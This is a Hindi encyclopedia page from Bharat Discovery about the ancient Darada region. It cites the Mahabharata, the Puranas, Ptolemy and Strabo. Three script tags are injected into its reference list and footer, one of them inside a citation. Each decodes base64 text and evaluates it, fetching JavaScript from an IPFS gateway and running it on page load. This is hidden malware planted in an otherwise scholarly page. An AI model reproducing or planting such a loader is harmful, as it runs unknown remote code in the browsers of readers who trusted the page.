दरद देश

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

दरद देश पर महाभारत के अनुसार अर्जुन ने दिग्विजय यात्रा के प्रसंग में विजय प्राप्त की थी।

  • महाभारत में दरदनिवासियों का काम्बोजों के साथ उल्लेख से ज्ञात होता है के इनके देश परस्पर सन्न्निकट होगे-

'गृहीत्वा तु बलं फाल्गुन: पांडुनंदन: दरदान्‌ सह काम्बौजैरजयत्‌ पाकशासिनि:।'[1]

  • दरद का उल्लेख विष्णु पुराण में भी है और टॉलमी तथा स्ट्रेबो ने भी दरदों का वर्णन किया है।
  • दरद का अभिज्ञान 'दर्दिस्थान' के प्रदेश से किया गया है जिसमें गिलगित और यासीन का इलाक़ा शामिल है। यह प्रदेश उत्तरी कश्मीर और दक्षिणी रूस के सीमांत पर स्थित है।
  • विल्सन के अनुसार दरद लोगों का इलाक़ा आज भी वहीं है, विष्णु पुराण, टॉलमी और स्ट्रेबो के समय था, अर्थात् सिंध नदी द्वारा संचित वह प्रदेश जो हिमालय की उपत्यकाओं में स्थित है।[2]
  • दरतपुरी दरद की राजधानी थी।[3] इसका अभिज्ञान डॉ. स्टाइन ने गुरेज से किया है।
  • संस्कृत साहित्य में 'दरद' और 'दरत' दोनों ही रूप मिलते हैं।
  • कुछ विद्वानों का मत है कि संस्कृत का शब्द 'दरिद्र' 'दरद' से ही व्युत्पन्न है और मौलिक रूप में यह शब्द दरदवासियों की हीनदशा का द्योतक था


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. महाभारत, सभापर्व, 27,23
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 426 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. मार्कंडेय पुराण

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>